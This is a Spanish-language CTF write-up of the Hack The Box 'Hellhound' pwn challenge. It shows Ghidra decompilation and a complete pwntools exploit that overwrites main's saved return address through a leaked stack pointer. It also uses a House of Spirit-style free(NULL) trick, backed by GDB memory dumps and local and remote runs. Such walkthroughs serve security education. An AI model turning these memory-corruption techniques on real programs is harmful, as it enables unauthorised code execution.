Hellhound
9 minutos de lectura
Tenemos un binario de 64 bits llamado hellound
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./.glibc/'
Si lo ejecutamos, tenemos la posibilidad de realizar algunas acciones extrañas:
$ ./hellhound
This is what it used to look before the modifications..
_
/ \ _-'
_/| \-''- _ /
__-' { | \
/ \
/ 'o. |o }
| \ ;
',
\_ __\
''-_ \.//
/ '-____'
/
_'
_-'
[*] Interaction with Hellhound:
1. Analyze chipset 🔩
2. Modify hardware ⚒️
3. Check results ❓
>>
Ingeniería inversa
Usemos Ghidra para obtener el código fuente descompilado en C:
undefined8 main() {
ulong option;
long in_FS_OFFSET;
void *code_storage[8];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
setup();
banner();
code_storage[0] = malloc(0x40);
do {
while (true) {
while (true) {
printf(&menu);
option = read_num();
if (option != 2) break;
printf("\n[*] Write some code: ");
read(0, code_storage[0], 0x20);
}
if (2 < option) break;
if (option == 1) {
printf("\n[+] In the back of its head you see this serial number: [%ld]\n", code_storage);
} else {
LAB_00400de9:
printf("%s\n\n[-] Invalid option!\n", &DAT_0040105b);
}
}
if (option != 3) {
if (option == 69) {
free(code_storage[0]);
printf("%s[*] The beast seems quiet.. for the moment..\n", &DAT_0040105b);
if (canary == *(long *) (in_FS_OFFSET + 0x28)) {
return 0;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
goto LAB_00400de9;
}
code_storage[0] = *(void **) ((long) code_storage[0] + 8);
printf("%s\n[-] The beast went Berserk again!\n", &DAT_0040105b);
} while (true);
}
A primera vista, parece un reto de heap porque se está utilizando malloc
y free
. Además, estamos tratando con Glibc 2.23:
$ .glibc/ld-2.23.so .glibc/libc.so.6
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11.3) stable release version 2.23, by Roland McGrath et al.
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 5.4.0 20160609.
Available extensions:
crypt add-on version 2.1 by Michael Glad and others
GNU Libidn by Simon Josefsson
Native POSIX Threads Library by Ulrich Drepper et al
BIND-8.2.3-T5B
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
.
Tenemos tres opciones. La primera imprime una string y fuga la dirección de code_storage
:
// ...
if (option == 1) {
printf("\n[+] In the back of its head you see this serial number: [%ld]\n", code_storage);
// ...
$ ./hellhound
This is what it used to look before the modifications..
_
/ \ _-'
_/| \-''- _ /
__-' { | \
/ \
/ 'o. |o }
| \ ;
',
\_ __\
''-_ \.//
/ '-____'
/
_'
_-'
[*] Interaction with Hellhound:
1. Analyze chipset 🔩
2. Modify hardware ⚒️
3. Check results ❓
>> 1
[+] In the back of its head you see this serial number: [140730358392056]
La segunda opción nos permite escribir 0x20
bytes en code_storage[0]
:
// ...
if (option != 2) break;
printf("\n[*] Write some code: ");
read(0, code_storage[0], 0x20);
// ...
Nótese que code_storage[0]
tiene 0x40
bytes asignados por malloc
al comienzo de la función:
// ...
setup();
banner();
code_storage[0] = malloc(0x40);
// ...
Si usamos la opción 3
, el puntero dentro de code_storage [0]
se incrementará:
// ...
if (option != 3) {
// ...
}
code_storage[0] = *(void **) ((long) code_storage[0] + 8);
printf("%s\n[-] The beast went Berserk again!\n", &DAT_0040105b);
// ...
Hay otra opción en el código que no figura en el menú, que es la 69
:
// ...
if (option == 69) {
free(code_storage[0]);
printf("%s[*] The beast seems quiet.. for the moment..\n", &DAT_0040105b);
if (canary == *(long *) (in_FS_OFFSET + 0x28)) {
return 0;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
// ...
Está ejecutando free
en code_storage[0]
y retorna, lo cual parece interesante.
Dentro del binario, hay una función llamada berserk_mode_off
que no se llama nunca:
void berserk_mode_off() {
long in_FS_OFFSET;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
fflush(stdout);
system("cat ./flag.txt");
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
Esta función será el objetivo del exploit, para leer la flag.
Estrategia de explotación
En resumen, tenemos:
- Un
malloc
:code_storage[0] = malloc(0x40)
- Opción
1
para leer la dirección decode_storage
- Opción
2
para escribir hasta0x20
bytes encode_storage[0]
- Opción
3
para aumentar el punterocode_storage[0]
en8
- Opción
69
para usarfree
sobrecode_storage[0]
y retornar desdemain
La idea aquí es modificar la dirección de retorno guardada en la pila (stack). Para eso, utilizaremos la opción 1
para obtener la dirección de code_storage
y calcularemos la posición relativa de la dirección de retorno. Luego, escribiremos la dirección donde se almacena la dirección de retorno guardada en code_storage[1]
(opción 2
). Después de eso, podemos aumentar el puntero usando 3
para tener code_storage[0] = <addr-of-saved-return-addr>
. Una vez que tenemos esto, podemos modificar la dirección de retorno con la opción 2
para saltar a berserk_mode_off
. Y finalmente, utilizaremos la opción 69
para regresar del main
.
Desarrollo del exploit
Comencemos con este exploit:
#!/usr/bin/env python3
from pwn import *
context.binary = 'hellhound'
def get_process():
if len(sys.argv) == 1:
return context.binary.process()
host, port = sys.argv[1].split(':')
return remote(host, port)
def main():
p = get_process()
gdb.attach(p, 'continue')
p.sendlineafter(b'>> ', b'1')
p.recvuntil(b': [')
code_storage_addr = int(p.recvuntil(b']', drop=True).decode())
log.info(f'code_storage address: {hex(code_storage_addr)}')
input('First: ')
p.sendlineafter(b'>> ', b'2')
p.sendafter(b'[*] Write some code: ', b'A' * 8 + p64(code_storage_addr + 0x50))
p.sendlineafter(b'>> ', b'3')
input('Second: ')
p.sendlineafter(b'>> ', b'2')
p.sendafter(b'[*] Write some code: ', p64(context.binary.sym.berserk_mode_off))
input('Third: ')
p.interactive()
if __name__ == '__main__':
main()
Usaremos algunas instrucciones de depuración con input
y GDB (extensión pwndbg
) para ver qué está sucediendo:
$ python3 solve.py
[*] './hellhound'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./.glibc/'
[+] Starting local process './hellhound': pid 338105
[*] running in new terminal: ['/usr/bin/gdb', '-q', './hellhound', '338105', '-x', '/tmp/pwndhd8p72l.gdb']
[+] Waiting for debugger: Done
[*] code_storage address: 0x7fff98c34fd8
First:
pwndbg> vis_heap_chunks
0x1431000 0x0000000000000000 0x0000000000000051 ........Q.......
0x1431010 0x0000000000000000 0x0000000000000000 ................
0x1431020 0x0000000000000000 0x0000000000000000 ................
0x1431030 0x0000000000000000 0x0000000000000000 ................
0x1431040 0x0000000000000000 0x0000000000000000 ................
0x1431050 0x0000000000000000 0x0000000000020fb1 ................ <-- Top chunk
pwndbg> x/30gx $rsp
0x7fff98c34f88: 0x0000000000400a0d 0x0000000000000000
0x7fff98c34f98: 0x0000000000000000 0x0000000000000000
0x7fff98c34fa8: 0x0000000000000000 0x0000000000000001
0x7fff98c34fb8: 0xd7400369940e3e00 0x00007fff98c35020
0x7fff98c34fc8: 0x0000000000400d18 0xffffffff0a1b6168
0x7fff98c34fd8: 0x0000000001431010 0x0000000000000001
0x7fff98c34fe8: 0x0000000000400e5d 0x0000000000000000
0x7fff98c34ff8: 0x0000000000000000 0x0000000000400e10
0x7fff98c35008: 0x0000000000400890 0x00007fff98c35100
0x7fff98c35018: 0xd7400369940e3e00 0x0000000000400e10
0x7fff98c35028: 0x00007f4f09be5840 0x00007fff98c35108
0x7fff98c35038: 0x00007fff98c35108 0x0000000109d51708
0x7fff98c35048: 0x0000000000400cc7 0x0000000000000000
0x7fff98c35058: 0xc2814ee54235364b 0x0000000000400890
0x7fff98c35068: 0x00007fff98c35100 0x0000000000000000
pwndbg> backtrace
#0 0x00007f4f09cbc360 in read () from ./.glibc/libc.so.6
#1 0x0000000000400a0d in read_num ()
#2 0x0000000000400d18 in main ()
#3 0x00007f4f09be5840 in __libc_start_main () from ./.glibc/libc.so.6
#4 0x00000000004008ba in _start ()
Como se puede ver, la dirección de code_storage
es 0x7fff98c34fd8
(se muestra en la salida del exploit), que contiene la dirección de la chunk del heap (0x1431010
). Además, la dirección de retorno es 0x7f4f09be5840
(vuelve a __libc_start_main
), y se encuentra en 0x7ffff98c35028
, entonces 0x50
bytes más:
pwndbg> p/x 0x7fff98c35028 - 0x7fff98c34fd8
$1 = 0x50
Vamos a seguir:
pwndbg> continue
Continuing.
$ python3 solve.py
[*] './hellhound'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./.glibc/'
[+] Starting local process './hellhound': pid 338105
[*] running in new terminal: ['/usr/bin/gdb', '-q', './hellhound', '338105', '-x', '/tmp/pwndhd8p72l.gdb']
[+] Waiting for debugger: Done
[*] code_storage address: 0x7fff98c34fd8
First:
Second:
Ahora vemos que code_storage[0]
(0x7fff98c34fd8
) contiene la dirección donde se almacena la dirección de retorno guardada (0x7fff98c35028
):
pwndbg> x/30gx $rsp
0x7fff98c34f88: 0x0000000000400a0d 0x0000000000000000
0x7fff98c34f98: 0x0000000000000000 0x0000000000000000
0x7fff98c34fa8: 0x0000000000000000 0x0000000000000001
0x7fff98c34fb8: 0xd7400369940e3e00 0x00007fff98c35020
0x7fff98c34fc8: 0x0000000000400d18 0xffffffff0a1b6168
0x7fff98c34fd8: 0x00007fff98c35028 0x0000000000000001
0x7fff98c34fe8: 0x0000000000400e5d 0x0000000000000000
0x7fff98c34ff8: 0x0000000000000000 0x0000000000400e10
0x7fff98c35008: 0x0000000000400890 0x00007fff98c35100
0x7fff98c35018: 0xd7400369940e3e00 0x0000000000400e10
0x7fff98c35028: 0x00007f4f09be5840 0x00007fff98c35108
0x7fff98c35038: 0x00007fff98c35108 0x0000000109d51708
0x7fff98c35048: 0x0000000000400cc7 0x0000000000000000
0x7fff98c35058: 0xc2814ee54235364b 0x0000000000400890
0x7fff98c35068: 0x00007fff98c35100 0x0000000000000000
Entonces, a continuación modificaremos esta con la dirección de berserk_mode_off
(0x400977
):
pwndbg> x berserk_mode_off
0x400977 <berserk_mode_off>: 0x10ec8348e5894855
pwndbg> continue
Continuing.
$ python3 solve.py
[*] './hellhound'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./.glibc/'
[+] Starting local process './hellhound': pid 338105
[*] running in new terminal: ['/usr/bin/gdb', '-q', './hellhound', '338105', '-x', '/tmp/pwndhd8p72l.gdb']
[+] Waiting for debugger: Done
[*] code_storage address: 0x7fff98c34fd8
First:
Second:
Third:
Y ahí ha cambiado:
pwndbg> x/30gx $rsp
0x7fff98c34f88: 0x0000000000400a0d 0x0000000000000000
0x7fff98c34f98: 0x0000000000000000 0x0000000000000000
0x7fff98c34fa8: 0x0000000000000000 0x0000000000000001
0x7fff98c34fb8: 0xd7400369940e3e00 0x00007fff98c35020
0x7fff98c34fc8: 0x0000000000400d18 0xffffffff0a1b6168
0x7fff98c34fd8: 0x00007fff98c35028 0x0000000000000001
0x7fff98c34fe8: 0x0000000000400e5d 0x0000000000000000
0x7fff98c34ff8: 0x0000000000000000 0x0000000000400e10
0x7fff98c35008: 0x0000000000400890 0x00007fff98c35100
0x7fff98c35018: 0xd7400369940e3e00 0x0000000000400e10
0x7fff98c35028: 0x0000000000400977 0x00007fff98c35108
0x7fff98c35038: 0x00007fff98c35108 0x0000000109d51708
0x7fff98c35048: 0x0000000000400cc7 0x0000000000000000
0x7fff98c35058: 0xc2814ee54235364b 0x0000000000400890
0x7fff98c35068: 0x00007fff98c35100 0x0000000000000000
pwndbg> continue
Continuing.
En este punto, utilizaremos la opción 69
para regresar del main
:
$ python3 solve.py
[*] './hellhound'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./.glibc/'
[+] Starting local process './hellhound': pid 338105
[*] running in new terminal: ['/usr/bin/gdb', '-q', './hellhound', '338105', '-x', '/tmp/pwndhd8p72l.gdb']
[+] Waiting for debugger: Done
[*] code_storage address: 0x7fff98c34fd8
First:
Second:
Third:
[*] Switching to interactive mode
[*] Interaction with Hellhound:
1. Analyze chipset 🔩
2. Modify hardware ⚒️
3. Check results ❓
>> $ 69
*** Error in `./hellhound': free(): invalid pointer: 0x00007fff98c35028 ***
======= Backtrace: =========
./.glibc/libc.so.6(+0x777f5)[0x7f4f09c3c7f5]
./.glibc/libc.so.6(+0x8038a)[0x7f4f09c4538a]
./.glibc/libc.so.6(cfree+0x4c)[0x7f4f09c4958c]
./hellhound[0x400dbb]
./hellhound[0x400977]
======= Memory map: ========
00400000-00402000 r-xp 00000000 fd:00 393385 ./hellhound
00601000-00602000 r--p 00001000 fd:00 393385 ./hellhound
00602000-00603000 rw-p 00002000 fd:00 393385 ./hellhound
01431000-01452000 rw-p 00000000 00:00 0 [heap]
7f4f04000000-7f4f04021000 rw-p 00000000 00:00 0
7f4f04021000-7f4f08000000 ---p 00000000 00:00 0
7f4f09bc5000-7f4f09d85000 r-xp 00000000 fd:00 393516 ./.glibc/libc.so.6
7f4f09d85000-7f4f09f85000 ---p 001c0000 fd:00 393516 ./.glibc/libc.so.6
7f4f09f85000-7f4f09f89000 r--p 001c0000 fd:00 393516 ./.glibc/libc.so.6
7f4f09f89000-7f4f09f8b000 rw-p 001c4000 fd:00 393516 ./.glibc/libc.so.6
7f4f09f8b000-7f4f09f8f000 rw-p 00000000 00:00 0
7f4f09f8f000-7f4f09fb5000 r-xp 00000000 fd:00 393518 ./.glibc/ld-2.23.so
7f4f0a18b000-7f4f0a18e000 r--p 00000000 fd:00 8633 /usr/lib/x86_64-linux-gnu/libgcc_s.so.1
7f4f0a18e000-7f4f0a1a0000 r-xp 00003000 fd:00 8633 /usr/lib/x86_64-linux-gnu/libgcc_s.so.1
7f4f0a1a0000-7f4f0a1a4000 r--p 00015000 fd:00 8633 /usr/lib/x86_64-linux-gnu/libgcc_s.so.1
7f4f0a1a4000-7f4f0a1a5000 r--p 00018000 fd:00 8633 /usr/lib/x86_64-linux-gnu/libgcc_s.so.1
7f4f0a1a5000-7f4f0a1a6000 rw-p 00019000 fd:00 8633 /usr/lib/x86_64-linux-gnu/libgcc_s.so.1
7f4f0a1b0000-7f4f0a1b4000 rw-p 00000000 00:00 0
7f4f0a1b4000-7f4f0a1b5000 r--p 00025000 fd:00 393518 ./.glibc/ld-2.23.so
7f4f0a1b5000-7f4f0a1b6000 rw-p 00026000 fd:00 393518 ./.glibc/ld-2.23.so
7f4f0a1b6000-7f4f0a1b7000 rw-p 00000000 00:00 0
7fff98c15000-7fff98c36000 rw-p 00000000 00:00 0 [stack]
7fff98c99000-7fff98c9c000 r--p 00000000 00:00 0 [vvar]
7fff98c9c000-7fff98c9d000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0 [vsyscall]
$
House of Spirit
Vaya, hubo un error en free
. Debemos recordar que la opción 69
llama a free
sobre code_storage[0]
. El error dice “invalid pointer”, porque no hay un chunk válido en esa dirección. Para superar esto, debemos falsificar un chunk en la pila, encontrar la dirección de un chunk válido o establecer la dirección en NULL
.
Este tipo de truco tiene que ver con House of Spirit (más información aquí). Para mantener las cosas sencillas, estableceremos code_storage[0] = NULL
usando la opción 3
otra vez antes de usar la 69
:
p.sendlineafter(b'>> ', b'2')
p.sendafter(b'[*] Write some code: ', p64(context.binary.sym.berserk_mode_off) + p64(0))
input('Third: ')
p.sendlineafter(b'>> ', b'3')
p.sendlineafter(b'>> ', b'69')
p.interactive()
Si eliminamos todos los puntos de depuración y GDB, veremos que funciona, porque free(NULL)
no causa ningún error:
$ python3 solve.py
[*] './hellhound'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./.glibc/'
[+] Starting local process './hellhound': pid 344925
[*] code_storage address: 0x7ffcc5ba39e8
[*] Switching to interactive mode
[*] The beast seems quiet.. for the moment..
HTB{f4k3_fl4g_4_t35t1ng}
$
Flag
Muy bien, probemos en remoto:
$ python3 solve.py 209.97.137.201:30189
[*] './hellhound'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./.glibc/'
[+] Opening connection to 209.97.137.201 on port 30189: Done
[*] code_storage address: 0x7fff8784e878
[*] Switching to interactive mode
[*] The beast seems quiet.. for the moment..
HTB{m4y_the_d0g5_5p1r1t_b3_w1th_u}
$
El código de exploit completo está aquí: solve.py
.